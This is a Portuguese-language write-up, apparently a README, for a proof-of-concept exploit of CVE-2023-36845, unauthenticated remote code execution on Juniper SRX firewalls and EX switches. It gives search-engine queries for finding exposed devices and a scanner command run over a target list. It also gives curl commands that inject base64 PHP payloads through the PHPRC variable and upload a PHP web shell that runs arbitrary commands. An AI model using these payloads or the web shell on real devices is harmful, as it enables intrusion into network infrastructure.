
Exploit de prova de conceito para CVE-2023-36845 que permite execução remota de código sem autenticação em firewalls Juniper SRX e switches EX por meio de manipulação de variáveis de ambiente do PHP.
A CVE-2023-36845 representa uma notável vulnerabilidade de manipulação de variáveis de ambiente PHP que afeta firewalls Juniper SRX e switches EX. Embora a Juniper tenha categorizado esta vulnerabilidade como de severidade média, neste artigo elucidaremos como essa única vulnerabilidade pode ser explorada para execução remota de código não autenticada.
title:"Juniper Web Device Manager"
title:"Juniper" http.favicon.hash:2141724739
Detecção
python3 CVE-2023-36845.py -f targets.txt -o output.txt
Utilizar qualquer wrapper de protocolo em conjunto com auto_prepend_file é viável. A escolha mais adequada para esta operação é o protocolo data://, que permite o fornecimento inline do "arquivo secundário". Aqui está uma representação sofisticada deste exploit, executando o <? phpinfo(); ?> embutido no esquema data://:
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
Execute o comando whoami
<?php shell_exec('whoami'); ?>
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'
Carregue um arquivo
<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>
$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
", "csize": 110}]'
| Parâmetro | Descrição | Tipo |
|---|---|---|
| --file / -f | Arquivo de alvos de entrada | Arquivo |
| -o | Arquivo de saída | Arquivo |